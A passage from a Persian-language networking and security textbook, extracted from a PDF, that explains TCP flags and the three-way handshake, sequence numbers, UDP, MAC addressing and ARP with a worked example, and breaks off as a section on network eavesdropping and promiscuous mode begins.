‫داﺷﺘﻪ و در ﻗﺪم ﺑﻌﺪی‪ ،‬ﻣﺒﺪا ﺑﺴﺘﻪ ﻫﺎی از دﺳﺖ رﻓﺘﻪ را ﻣﺠﺪدا ارﺳﺎل ﻣﯽ ﮐﻨﺪ‪.‬‬
‫‪58‬‬
‫ﺗﻤﺎﻣﯽ اﯾﻦ ﻋﺎﻣﻠﯿﺖ ﻫﺎ ﺑﻮاﺳﻄﻪ ﻣﺠﻤﻮﻋﻪ ای از ﻓﻠﮓ ﻫﺎ ﺗﺤﺖ ﻋﻨﻮان ﭘﺮﭼﻢ ﻫﺎی ‪ (TCP Flag) TCP‬و ﻣﻘﺎدﯾﺮ ﭘﯿﮕﺮدی‬
‫ﺗﺤﺖ ﻋﻨﻮان "ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ"‪ 59‬ﻣﻤﮑﻦ ﺷﺪه اﻧﺪ‪ .‬ﻓﻠﮓ ﻫﺎ ﺑﻪ ﺷﺮح زﯾﺮ ﻣﯽ ﺑﺎﺷﻨﺪ‪:‬‬
‫ﻣﻘﺼﻮد‬ ‫ﻣﻌﻨﺎی ﻓﻠﮓ‬ ‫ﻓﻠﮓ‬
‫داده ﻫﺎی ﻣﻬﻢ را ﺗﻌﯿﯿﻦ ﻣﯽ ﻧﻤﺎﯾﺪ‬ ‫‪Urgent‬‬ ‫‪URG‬‬
‫ﯾﮏ ارﺗﺒﺎط را ﺗﺼﺪﯾﻖ ﻣﯽ ﮐﻨﺪ‬ ‫‪Acknowledgement‬‬ ‫‪ACK‬‬
‫ﺑﻪ ﮔﯿﺮﻧﺪه اﻋﻼم ﻣﯽ دارد ﮐﻪ ﺑﻪ ﺟﺎی ﺑﺎﻓﺮ ﮐﺮدن داده ﻫﺎ‪ ،‬آﻧﺮا ‪ push‬ﻧﻤﺎﯾﺪ‬ ‫‪Push‬‬ ‫‪PSH‬‬
‫ارﺗﺒﺎط را ‪ reset‬ﻣﯽ ﮐﻨﺪ‬ ‫‪Reset‬‬ ‫‪RST‬‬
‫در ﺧﻼل ﺷﺮوع ارﺗﺒﺎط‪ ،‬ﺷﻤﺎره ﻫﺎی ﺗﺼﺪﯾﻖ را ﻫﻤﮕﺎم ﺳﺎزی ﻣﯽ ﮐﻨﺪ‬ ‫‪Synchronize‬‬ ‫‪SYN‬‬
‫ارﺗﺒﺎط را ﺧﺎﺗﻤﻪ ﻣﯽ دﻫﺪ‬ ‫‪Finish‬‬ ‫‪FIN‬‬
‫ﻓﻠﮓ ﻫﺎی ‪ SYN‬و ‪ ACK‬ﺑﺎ ﻫﻢ ﺟﻬﺖ اﯾﺠﺎد ارﺗﺒﺎﻃﺎت در ﯾﮏ ﻓﺮاﯾﻨﺪ دﺳﺖ ﺗﮑﺎﻧﯽ ﺳﻪ ﻣﺮﺣﻠـﻪ ای اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ‪.‬‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ﮐﻼﯾﻨﺖ ﻗﺼﺪ ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ ﯾﮏ ﺳﺮور داﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﯾـﮏ ﺑـﺴﺘﻪ ﺑـﺎ ﻓﻠـﮓ ‪ SYN‬روﺷـﻦ‪ 60‬و ﻓﻠـﮓ‬
‫‪ ACK‬ﺧﺎﻣﻮش‪ 61‬را ﺑﻪ ﺳﺮور ﻣﯽ ﻓﺮﺳﺘﺪ‪ .‬ﺳﭙﺲ ﺳﺮور ﺑﺎ ﯾﮏ ﺑﺴﺘﻪ ﮐﻪ ﻫﺮ دو ﻓﻠﮓ ‪ SYN‬و ‪ ACK‬آن روﺷـﻦ ﻫـﺴﺘﻨﺪ‬
‫ﭘﺎﺳﺦ ﻣﯽ دﻫﺪ‪ .‬ﺟﻬﺖ ﺗﮑﻤﯿﻞ ارﺗﺒﺎط‪ ،‬ﮐﻼﯾﻨﺖ ﯾﮏ ﺑﺴﺘﻪ را ﺑﺎ ﻓﻠﮓ ‪ SYN‬ﺧﺎﻣﻮش و ﻓﻠﮓ ‪ ACK‬روﺷﻦ ارﺳﺎل ﻣﯽ ﮐﻨـﺪ‪.‬‬
‫ﭘﺲ از آن‪ ،‬ﺗﻤﺎم ﺑﺴﺘﻪ ﻫﺎ در اﯾﻦ ارﺗﺒﺎط ﺑﺎ ﻓﻠﮓ ‪ ACK‬روﺷﻦ و ﻓﻠﮓ ‪ SYN‬ﺧﺎﻣﻮش ﻣﺒﺎدﻟﻪ ﻣـﯽ ﺷـﻮﻧﺪ‪ .‬ﺗﻨﻬـﺎ دو ﺑـﺴﺘﻪ‬

‫‪57‬‬
‫‪Return Material Authorization‬‬
‫‪58‬‬
‫‪Tracking Values‬‬
‫‪59‬‬
‫‪Sequence Number‬‬
‫‪ 60‬ﻣﻨﻈﻮر از واژه "روﺷﻦ" اﯾﻦ اﺳﺖ ﮐﻪ ﻣﻘﺪار اﯾﻦ ﻓﻠﮓ در ﺑﺴﺘﻪ )ﮐﻪ ﯾﮏ ﻣﻘﺪار ﺑﯿﺘﯽ اﺳﺖ( ﺑﺮاﺑﺮ ﺑﺎ "ﯾﮏ" ﺑﺎﺷﺪ ﮐﻪ اﺻﻄﻼﺣﺎ ﻣـﯽ ﮔـﻮﯾﯿﻢ‪ :‬اﯾـﻦ‬
‫ﻓﻠﮓ ﺗﻨﻈﯿﻢ ﺷﺪه اﺳﺖ ﯾﺎ روﺷﻦ اﺳﺖ‬
‫‪ 61‬ﻣﻨﻈﻮر از واژه "ﺧﺎﻣﻮش" اﯾﻦ اﺳﺖ ﮐﻪ ﻣﻘﺪار اﯾﻦ ﻓﻠﮓ در ﺑﺴﺘﻪ )ﮐﻪ ﯾﮏ ﻣﻘﺪار ﺑﯿﺘﯽ اﺳﺖ( ﺑﺮاﺑﺮ ﺑﺎ "ﺻﻔﺮ" ﺑﺎﺷﺪ ﮐـﻪ اﺻـﻄﻼﺣﺎ ﻣـﯽ ﮔـﻮﯾﯿﻢ‪:‬‬
‫اﯾﻦ ﻓﻠﮓ ﺗﻨﻈﯿﻢ ﻧﺸﺪه اﺳﺖ ﯾﺎ ﺧﺎﻣﻮش اﺳﺖ‪.‬‬
‫‪119‬‬
‫ﻧﺨﺴﺘﯿﻦ ارﺗﺒﺎط )ﮐﻪ دو ﻣﺮﺣﻠﻪ از ﺳﻪ ﻣﺮﺣﻠﻪ دﺳﺖ ﺗﮑﺎﻧﯽ ﺳﻪ ﻣﺮﺣﻠﻪ ای را ﺷﺎﻣﻞ ﻣﯽ ﺷﻮﻧﺪ( ﻓﻠﮓ ‪ SYN‬روﺷـﻦ دارﻧـﺪ‪.‬‬
‫‪62‬‬
‫ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪.‬‬ ‫ﺑﻪ اﯾﻦ دﻟﯿﻞ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ اﺻﻮﻻ ﺑﺮای ﻫﻤﮕﺎم ﺳﺎزی‬

‫ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﺑﺮای ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﻗﺎﺑﻠﯿﺖ اﻋﺘﻤﺎد ﮐﻪ در ﻗﺒﻞ از آن ﯾﺎد ﺷـﺪ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ‪ .‬آﻧﻬـﺎ ﺑـﻪ ‪TCP‬‬
‫اﻣﮑﺎن ﻣﻨﻈﻢ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎی رﺳﯿﺪه ی ﺧﺎرج از ﻧﻈﻢ را اﻫﺪا ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﺑﺎ اﯾﻦ ﮐﺎر اﻣﮑـﺎن ﺗﻌﯿـﯿﻦ ﺑـﺴﺘﻪ ﻫـﺎی ﮔـﻢ ﺷـﺪه‬
‫ﻓﺮاﻫﻢ ﺷﺪه و از ﻣﺨﻠﻮط ﺷﺪن ﺑﺴﺘﻪ ﻫﺎ ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی ارﺗﺒﺎط ﻫﺎی دﯾﮕﺮ ﻧﯿﺰ ﺟﻠﻮﮔﯿﺮی ﺑﻌﻤﻞ ﻣﯽ آﯾﺪ‪.‬‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ اﺗﺼﺎل ﺷﺮوع ﻣﯽ ﺷﻮد‪ ،‬ﻫﺮ ﻃﺮف ﯾﮏ ﺷﻤﺎره ﺗﻮاﻟﯽ اوﻟﯿـﻪ‪ 63‬ﺗﻮﻟﯿـﺪ ﻣـﯽ ﮐﻨـﺪ‪ .‬اﯾـﻦ ﺷـﻤﺎره در دو ﺑـﺴﺘﻪ‬
‫آﻏﺎزﯾﻦِ ‪ SYN‬در دﺳﺘﮑﺎﻧﯽ ارﺗﺒﺎط‪ ،‬ﺑﻪ ﻃﺮف دﯾﮕﺮ ﻣﺮاوده ﻣﯽ ﺷﻮد‪ .‬ﺳﭙﺲ ﺑﺎ ارﺳﺎل ﻫﺮ ﺑﺴﺘﻪ‪ ،‬ﺷﻤﺎره ﺗـﻮاﻟﯽ ﺑـﻪ ﻣﯿـﺰان‬
‫ﺑﺎﯾﺖ ﻫﺎی ﻣﻮﺟﻮد در ﻗﺴﻤﺖ داده ای ﺑﺴﺘﻪ‪ ،‬اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ‪ .‬اﯾﻦ ﺷﻤﺎره‪ ،‬در ﻫﺪر ﺑﺴﺘﻪ ‪ TCP‬ﻗﺮار داده ﻣﯽ ﺷـﻮد‪ .‬ﻫـﺮ‬
‫ﻧﯿﺰ دارد ﮐﻪ ﻣﻘﺪار آن ﺑﺮاﺑﺮ ﺑﺎ ﺷﻤﺎره ﺗﻮاﻟﯽ ﻃﺮف دﯾﮕﺮ ﺑﻌﻼوه ‪ 1‬ﻣﯽ ﺑﺎﺷﺪ‪.‬‬ ‫ﻫﺪر ‪ ،TCP‬ﯾﮏ ﺷﻤﺎره ﺗﺼﺪﯾﻖ‬
‫‪64‬‬

‫‪ TCP‬ﺑﺮای ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﮐﻪ اﺗﺼﺎل ﻫﺎی ﻗﺎﺑﻞ اﻋﺘﻤﺎد و دو ﺟﻬﺘﻪ ﻧﯿﺎز دارﻧﺪ ﻣﻨﺎﺳﺐ اﺳﺖ‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل‪ ،‬ﺑﻬﺎی اﯾـﻦ ﻋﺎﻣﻠﯿـﺖ‬
‫در ﺳﺮﺑﺎر اﺗﺼﺎل‪ 65‬ﭘﺮداﺧﺘﻪ ﻣﯽ ﺷﻮد‪ UDP .‬ﺳﺮﺑﺎر و ﻋﺎﻣﻠﯿﺖ درون‪-‬ﺳﺎﺧﺖ ﮐﻤﺘﺮی از ‪ TCP‬دارد‪ .‬اﯾﻦ ﻓﻘﺪان ﻋﺎﻣﻠﯿـﺖ‬
‫رﻓﺘﺎر آﻧﺮا ﺷﺒﯿﻪ ﺑﻪ ﭘﺮوﺗﮑﻞ ‪ IP‬ﻣﯽ ﺳﺎزد ﮐﻪ ﺑﺪون اﺗﺼﺎل و ﻏﯿﺮﻗﺎﺑﻞ اﻋﺘﻤﺎد اﺳﺖ‪ .‬ﺑﺠﺎی اﺳﺘﻔﺎده از ﻋﺎﻣﻠﯿـﺖ ﻫـﺎی درون‬
‫ﺳﺎﺧﺖ ﺟﻬﺖ اﯾﺠﺎد اﺗﺼﺎل ﻫﺎ و ﺑﺮﻗﺮار داﺷﺘﻦ ﻗﺎﺑﻠﯿﺖ اﻋﺘﻤﺎد‪ UDP ،‬اﯾﻦ ﻣﺸﮑﻼت را ﺑـﻪ دوش ﺑﺮﻧﺎﻣـﻪ ﻫـﺎ ﻣـﯽ ﮔـﺬارد‪.‬‬
‫ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﺑﻪ ارﺗﺒﺎط ﻫﺎ )‪ (connection‬ﻧﯿﺎز ﻧﯿﺴﺖ و ‪ UDP‬راه ﻣﻨﺎﺳﺒﯽ ﺑﺮای روﯾﺎروﯾﯽ ﺑﺎ اﯾﻦ وﺿﻌﯿﺖ ﻫﺎ اﺳﺖ‪.‬‬

‫‪62‬‬
‫‪Synchronize‬‬
‫‪63‬‬
‫‪Initial Sequence Number‬‬
‫‪64‬‬
‫‪Acknowledgement Number‬‬
‫‪65‬‬
‫‪Overhead‬‬
‫‪120‬‬
‫‪ .3,2,3‬ﻻﯾﻪ اﺗﺼﺎل‪-‬داده )‪(Data-Link‬‬

‫اﮔﺮ ﻻﯾﻪ ﺷﺒﮑﻪ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺳﯿﺴﺘﻢ ﭘﺴﺘﯽ ﺟﻬﺎﻧﯽ اﻧﮕﺎﺷﺘﻪ ﺷﻮد و ﻻﯾﻪ ﻓﯿﺰﯾﮑﯽ ﺑﻪ ﻋﻨﻮان ﭘﯿﮏ ﻫـﺎی ﭘـﺴﺘﯽ ﺑـﯿﻦ ادارات‬
‫ﺑﺎﺷﻨﺪ‪ ،‬ﻻﯾﻪ اﺗﺼﺎل‪-‬داده‪ ،‬ﺳﯿﺴﺘﻢ ﭘﺴﺘﯽ ﺑﯿﻦ اداری ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﯾﻦ ﻻﯾﻪ ﺑﺮای آدرس دﻫـﯽ و ارﺳـﺎل ﭘﯿـﺎم ﻫـﺎ ﺑـﻪ اﻓـﺮاد‬
‫دﯾﮕﺮ در اداره اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﻫﻤﭽﻨﯿﻦ ﻣﯽ ﺗﻮان ﭘﯽ ﺑﺮد ﮐﻪ ﭼﻪ ﮐﺴﯽ در اداره ﻣﯽ ﺑﺎﺷﺪ )ﺗﻌﯿﯿﻦ ﻫﻮﯾﺖ(‪.‬‬
‫روی اﯾﻦ ﻻﯾﻪ اﺗﺮﻧﺖ وﺟﻮد دارد‪ .‬اﯾﻦ ﻻﯾﻪ ﯾﮏ ﺳﯿﺴﺘﻢ آدرس دﻫﯽ اﺳﺘﺎﻧﺪارد را ﺑﺮای ﺗﻤﺎم وﺳﺎﯾﻞ اﺗﺮﻧﺖ اراﺋﻪ ﻣﯽ دﻫﺪ‪.‬‬
‫اﯾﻦ آدرس ﻫﺎ ﺑﻪ ﻋﻨﻮان آدرس ﻫﺎی ‪ 66 MAC‬ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﻧﺪ‪ .‬ﺑﻪ ﻫـﺮ وﺳـﯿﻠﻪ اﺗﺮﻧـﺖ‪ 67‬ﯾـﮏ آدرس ﯾﮑﺘـﺎی ﺟﻬـﺎﻧﯽ‬
‫ﺣﺎوی ﺷﺶ ﺑﺎﯾﺖ ﺗﺨﺼﯿﺺ داده ﺷـﺪه ﮐـﻪ ﻣﻌﻤـﻮﻻ در ﻣﺒﻨـﺎی ﺷـﺎﻧﺰده ﻧﻮﺷـﺘﻪ ﺷـﺪه و ﺑـﻪ ﻓـﺮم ‪xx:xx:xx:xx:xx:xx‬‬
‫ﻫﺴﺘﻨﺪ‪ .‬ﮔﺎﻫﯽ اوﻗﺎت اﯾﻦ آدرس ﻫﺎ را آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری ﻧﯿﺰ ﻣﯽ ﻧﺎﻣﻨﺪ‪ ،‬ﭼﺮا ﮐـﻪ اﯾـﻦ آدرس ﺑـﺮای ﻫـﺮ ﻗﻄﻌـﻪ‬
‫ﺳﺨﺖ اﻓﺰاری ﯾﮑﺘﺎ ﺑﻮده و روی در ﺣﺎﻓﻈﻪ ‪ 68IC‬آن وﺳﯿﻠﻪ ذﺧﯿـﺮه ﺷـﺪه اﺳـﺖ‪ .‬آدرس ﻫـﺎی ‪ MAC‬را ﻣـﯽ ﺗـﻮان ﺑـﻪ‬
‫ﻋﻨﻮان ﺷﻤﺎره ﻫﺎی اﻣﻨﯿﺘﯽ اﺟﺘﻤﺎﻋﯽ ﺑﺮای ﺳﺨﺖ اﻓﺰارﻫﺎ اﻧﮕﺎﺷﺖ‪ ،‬ﭼﺮا ﮐﻪ ﻓﺮض ﺑﺮ اﯾﻦ اﺳﺖ ﮐـﻪ ﻫـﺮ ﻗـﺴﻤﺖ از ﺳـﺨﺖ‬
‫اﻓﺰار‪ ،‬آدرس‪ MAC‬ﯾﮑﺘﺎﯾﯽ داﺷﺘﻪ ﺑﺎﺷﺪ‪.‬‬
‫ﻫﺪرﻫﺎی اﺗﺮﻧﺖ ﺷﺎﻣﻞ ﯾﮏ آدرس ﻣﺒﺪا و ﯾﮏ آدرس ﻣﻘﺼﺪ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﺮای ﺗﻌﯿﯿﻦ ﻣﺴﯿﺮ و ﻫﺪاﯾﺖ ﺑﺴﺘﻪ ﻫـﺎی اﺗﺮﻧـﺖ‬
‫اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪ .‬آدرس دﻫﯽ اﺗﺮﻧﺖ‪ ،‬دارای ﯾﮏ آدرس اﻧﺘﺸﺎری وﯾﮋه‪ 69‬اﺳـﺖ ﮐـﻪ ﺗﻤـﺎم ﺑـﺎﯾﻨﺮی ﻫـﺎی آن ﺑﺮاﺑـﺮ ‪1‬‬
‫ﻫﺴﺘﻨﺪ )‪ .(ff:ff:ff:ff:ff:ff‬ﻫﺮ ﺑﺴﺘﻪ اﺗﺮﻧﺖِ ارﺳﺎﻟﯽ ﺑﻪ اﯾﻦ آدرس‪ ،‬ﺑﻪ ﺗﻤـﺎﻣﯽ وﺳـﺎﯾﻞ ﻣﺘـﺼﻞ ﺑـﻪ ﺷـﺒﮑﻪ ارﺳـﺎل ﺧﻮاﻫـﺪ‬
‫ﮔﺸﺖ‪.‬‬
‫آدرس ‪ MAC‬ﺗﻐﯿﯿﺮ ﻧﺎﭘﺬﯾﺮ اﺳﺖ‪ ،‬درﺣﺎﻟﯿﮑﻪ ﻣﻤﮑﻦ اﺳﺖ آدرس ‪ IP‬ﻣﺮﺗﺒﺎ ﺗﻐﯿﯿﺮ ﮐﻨﺪ‪ IP .‬روی ﻻﯾﻪ ی ﺑﺎﻻﯾﯽ ﻋﻤـﻞ ﻣـﯽ‬
‫ﮐﻨﺪ و ﻫﯿﭻ دﺧﺎﻟﺘﯽ در آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری ﻧﺪارد‪ .‬ﻟﺬا روﺷﯽ ﺟﻬﺖ ﻣﺮﺗﺒﻂ ﻧﻤﻮدن اﯾﻦ دو ﻃﺮح آدرس دﻫﯽ ﻣﻮرد‬
‫ﻧﯿﺎز اﺳﺖ‪ .‬اﯾﻦ روش ﺗﺤﺖ ﻋﻨﻮان ﭘﺮوﺗﮑﻞ ﻧﮕﺎﺷﺖ آدرس‪ 70‬ﯾﺎ ‪ ARP‬ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد‪ .‬ﻋﻤﻼ ﭼﻬﺎر ﻧﻮع ﻣﺘﻔﺎوت از ﭘﯿـﺎم‬
‫ﻫﺎی ‪ ARP‬وﺟﻮد دارد‪ ،‬اﻣﺎ دو ﭘﯿﺎم از اﯾﻦ ﺑﯿﻦ ﻣﻬﻢ ﺗﺮ ﻫﺴﺘﻨﺪ‪ :‬ﭘﯿﺎم ﻫﺎی ‪ ARP Request‬و ‪ .ARP Reply‬ﭘﯿﺎم ‪ARP‬‬
‫ارﺳﺎل ﻣﯽ ﮔﺮدد‪ .‬از زﺑﺎن ﺧﻮد او‬ ‫‪ ،Request‬ﭘﯿﺎﻣﯽ اﺳﺖ ﺷﺎﻣﻞ آدرس ‪ IP‬و ‪ MAC‬ﻓﺮﺳﺘﻨﺪه ﮐﻪ ﺑﻪ آدرس اﻧﺘﺸﺎری‬
‫‪71‬‬

‫ﻣﺎﺟﺮا را ﺑﺸﻨﻮﯾﺪ‪» :‬اﯾﻦ ‪ IP‬ﺑﺮای ﮐﯿﻪ!؟ اﮔﺮ ﺑﺮای ﺷﻤﺎﺳﺖ‪ ،‬ﻟﻄﻔﺎ ﺟﻮاب ﺑﺪﯾﺪ و آدرس ‪ MAC‬ﺧﻮدﺗﻮﻧﻮ ﺑﻪ ﻣـﻦ ﺑﮕﯿـﺪ«‪ .‬در‬
‫ﻃﺮف ﻣﻘﺎﺑﻞ‪ ،‬ﭘﯿﺎم ‪ ARP Reply‬ﭘﺎﺳﺨﯽ اﺳﺖ ﻣﺘﻨﺎﻇﺮ ﮐﻪ ﺑـﻪ ﯾـﮏ آدرس ‪) MAC‬و در ﻧﺘﯿﺠـﻪ ‪ (IP‬ﺧـﺎص ارﺳـﺎل ﻣـﯽ‬
‫ﺷﻮد‪ .‬او ﻧﯿﺰ ﭼﻨﯿﻦ ﻣﯿﮕﻮﯾﺪ‪» :‬اﯾﻦ آدرس‪ MAC‬ﺑﺮای ﻣﻨﻪ و ﻫﻤﻮن ﻃﻮر ﮐﻪ ﺧﻮاﺳﺘﻪ ﺑﻮدی اﯾﻨﻢ آدرس ‪ IP‬ﻣـﻦ«‪ .‬ﺑـﺴﯿﺎری‬
‫از ﭘﯿﺎده ﺳﺎزی ﻫﺎی ‪ TCP/IP‬در ﺳﯿﺴﺘﻢ ﻫﺎی ﻋﺎﻣﻞ‪ ،‬زوج ﻣﺮﺗﺐ آدرس ﻫﺎی ‪ IP/MAC‬درﯾﺎﻓﺘﯽ از ‪ ARP Reply‬ﻫـﺎ‬
‫را ﺑﻪ ﻃﻮر ﻣﻮﻗﺖ ذﺧﯿﺮه ﻣﯽ ﮐﻨﻨﺪ )‪ cache‬ﻣﯽ ﮐﻨﻨﺪ(‪ ،‬ﺑﻄﻮرﯾﮑﻪ ﺑﺮای ﻫﺮ ﺑﺴﺘﻪ ی ارﺳﺎﻟﯽ‪ ،‬ﻧﯿﺎزی ﺑـﻪ ‪ ARP Request‬ﻫـﺎ‬
‫و ‪ ARP Reply‬ﻫﺎ ﻧﯿﺴﺖ‪.‬‬
‫ﺑــﺮای ﻣﺜــﺎل‪ ،‬اﮔــﺮ آدرس ‪ IP‬ﺳﯿــﺴﺘﻤﯽ ‪ 10.10.10.20‬و آدرس ‪ MAC‬آن ‪ 00:00:00:aa:aa:aa‬ﺑﺎﺷــﺪ و ﺳﯿــﺴﺘﻢ‬
‫دﯾﮕﺮی روی ﻫﻤﺎن ﺷﺒﮑﻪ‪ ،‬آدرس ‪ IP‬ﺑﺮاﺑﺮ ﺑﺎ ‪ 10.10.10.50‬و آدرس ‪ MAC‬ﺑﺮاﺑﺮ ﺑـﺎ ‪ 00:00:00:bb:bb:bb‬داﺷـﺘﻪ‬
‫ﺑﺎﺷﺪ‪ ،‬ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ ﻫﺮ ﯾﮏ‪ ،‬آدرس ‪ MAC‬دﯾﮕﺮی را ﻧﺪاﻧﺪ‪ ،‬ﻗﺎدر ﺑﻪ ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ او ﻧﺨﻮاﻫﺪ ﺑﻮد‪.‬‬

‫‪66‬‬
‫‪Media Access Control‬‬
‫‪67‬‬
‫‪Ethernet device‬‬
‫‪68‬‬
‫‪Integrated Circuit‬‬
‫‪69‬‬
‫‪Broadcast Address‬‬
‫‪70‬‬
‫‪Address Resolution Protocol‬‬
‫‪71‬‬
‫‪Broadcast‬‬
‫‪121‬‬
‫اﮔﺮ ﺳﯿﺴﺘﻢ اول ﺑﺨﻮاﻫﺪ ﯾﮏ اﺗـﺼﺎل ‪) TCP‬روی ‪ (IP‬را ﺑﺎ آدرس ‪ IP‬ﺳﯿﺴﺘﻢ دوم )‪ (10.10.10.50‬ﺑﺮﻗﺮار ﮐﻨـﺪ‪ ،‬اﺑﺘـﺪا‬
‫‪ ARP Cache‬ﺧﻮد را ﭼﮏ ﮐﺮده ﺗﺎ از وﺟﻮد ﻣﻘﺪاری ﺑﻪ ﺻﻮرت ‪ 10.10.10.50‬ﺑﺎ ﺧﺒﺮ ﺷﻮد‪ .‬ﭼﻮن ﻧﺨﺴﺘﯿﻦ ﺑﺎری اﺳﺖ‬
‫ﮐﻪ اﯾﻦ دو ﺳﯿﺴﺘﻢ ﻗﺼﺪ ارﺗﺒﺎط ﺑﺎ ﯾﮑﺪﯾﮕﺮ را دارﻧﺪ‪ ،‬ﭼﯿﺰی در ‪ ARP Cache‬ﯾﺎﻓﺖ ﻧﺨﻮاﻫـﺪ ﺷـﺪ‪ ،‬ﻟـﺬا ﺳﯿـﺴﺘﻢ اول‪ ،‬در‬
‫اﯾﻦ ﻫﻨﮕﺎم ﯾﮏ ‪ ARP Request‬را ﺑﻪ آدرس اﻧﺘﺸﺎری ﻣﯽ ﻓﺮﺳﺘﺪ‪ .‬اﯾﻦ ‪ ARP Request‬ﭼﻨﯿﻦ ﺳﺨﻦ ﻣﯽ ﮔﻮﯾـﺪ‪» :‬اﮔـﺮ‬
‫ﺷﻤﺎ ‪ 10.10.10.50‬ﻫﺴﺘﯿﻦ‪ ،‬ﻟﻄﻔﺎ از ﻃﺮﯾﻖ ‪ 00:00:00:aa:aa:aa‬ﭘﺎﺳﺦ ﺧﻮدﺗﻮﻧﻮ ﺑﻪ ﻣﻦ اﻋﻼم ﮐﻨﯿﻦ«‪ .‬ﭼﻮن ﻣﻘﺼﺪ اﯾﻦ‬
‫درﺧﻮاﺳﺖ‪ ،‬آدرس اﻧﺘﺸﺎری اﺳﺖ‪ ،‬ﻟﺬا ﺗﻤﺎم ﺳﯿﺴﺘﻢ ﻫﺎی ﺷﺒﮑﻪ اﯾﻦ درﺧﻮاﺳﺖ را درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ‪ .‬اﻣـﺎ ﺗﻨﻬـﺎ ﺳﯿـﺴﺘﻤﯽ‬
‫ﭘﺎﺳﺦ ﻣﯽ دﻫﺪ ﮐﻪ آدرس‪ IP‬آن ﺑﺎ آدرس ‪ IP‬ﻣﻮﺟﻮد در درﺧﻮاﺳﺖ ﯾﮑﺴﺎن ﺑﺎﺷﺪ‪ .‬در اﯾﻦ ﻣﻮرد‪ ،‬ﺳﯿﺴﺘﻢ دوم ﺑـﺎ ارﺳـﺎل‬
‫ﻣﺴﺘﻘﯿﻢ ﯾﮏ ‪ ARP Reply‬ﺑﻪ ‪ 00:00:00:aa:aa:aa‬ﭘﺎﺳﺦ ﺧﻮد را اﻋﻼم ﻣﯽ دارد‪ .‬اﯾﻦ ‪ ARP Reply‬ﭼﻨـﯿﻦ ﺑﯿـﺎن ﻣـﯽ‬
‫دارد ﮐﻪ‪» :‬ﻣﻦ ‪ 10.10.10.50‬ﻫﺴﺘﻢ و ﻫﻤﻮن ﻃﻮر ﮐﻪ ﻧﯿﺎز داﺷﺘﯿﻦ آدرس ‪ MAC‬ﻣﻦ ﺑﺮاﺑـﺮ ﺑـﺎ ‪00:00:00:bb:bb:bb‬‬
‫ﻫﺴﺘﺶ«‪ .‬ﺳﯿﺴﺘﻢ اول اﯾﻦ ﭘﺎﺳﺦ را درﯾﺎﻓﺖ ﮐﺮده و زوج ﻣﺮﺗـﺐ آدرس ‪ IP/MAC‬را در ‪ ARP Cache‬ﺧـﻮد ذﺧﯿـﺮه‬
‫ﻣﯽ ﮐﻨﺪ و ﺳﭙﺲ از آدرس ﺳﺨﺖ اﻓﺰاری ﺑﺪﺳﺖ آﻣﺪه ﺑﺮای ﮔﻔﺖ و ﮔﻮ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪.‬‬

‫‪ .3,3‬اﺳﺘﺮاق در ﺷﺒﮑﻪ‬

‫روی ﻻﯾﻪ ‪ Data-Link‬ﻧﯿﺰ ﺑﯿﻦ ﺷﺒﮑﻪ ﻫﺎی ﺳـﻮﺋﯿﭻ )‪ (switched‬و ﻏﯿﺮﺳـﻮﺋﯿﭽﯽ )‪ (unswitched‬ﺗﻔـﺎوت وﺟـﻮد دارد‪.‬‬
‫روی ﯾﮏ ﺷﺒﮑﻪ ﻏﯿﺮ ﺳﻮﺋﯿﭽﯽ ﺑﺴﺘﻪ ﻫﺎی اﺗﺮﻧﺖ از ﺗﻤﺎم وﺳﺎﯾﻞ ﻣﻮﺟﻮد در ﺷﺒﮑﻪ ﻣﯽ ﮔﺬرﻧﺪ و ﻫﺮ ﺳﯿﺴﺘﻢ ﺗﻨﻬـﺎ ﺑـﻪ ﺑـﺴﺘﻪ‬
‫ﻫﺎﯾﯽ ﺗﻮﺟﻪ دارد ﮐﻪ آدرس ﻣﻘﺼﺪ آﻧﻬﺎ ﺑﺮاﺑﺮ ﺑﺎ آدرس ﺳﯿﺴﺘﻢ ﺑﺎﺷﺪ‪ .‬ﺑﻪ ﻫﺮﺣﺎل‪ ،‬ﻗـﺮار دادن ﯾـﮏ وﺳـﯿﻠﻪ در ﺷـﺒﮑﻪ ﺑـﻪ‬
‫ﺻﻮرت ﺑﯽ ﻗﺎﻋﺪه )‪ (promiscuous‬ﺑﺴﯿﺎر ﻣﻀﺤﮏ اﺳﺖ‪ ،‬ﭼﺮا ﮐﻪ وﺳﯿﻠﻪ ﺻﺮف ﻧﻈﺮ از آدرس ﻣﻘﺼﺪ ﺑﻪ ﺗﻤﺎﻣﯽ ﺑﺴﺘﻪ ﻫﺎ‬
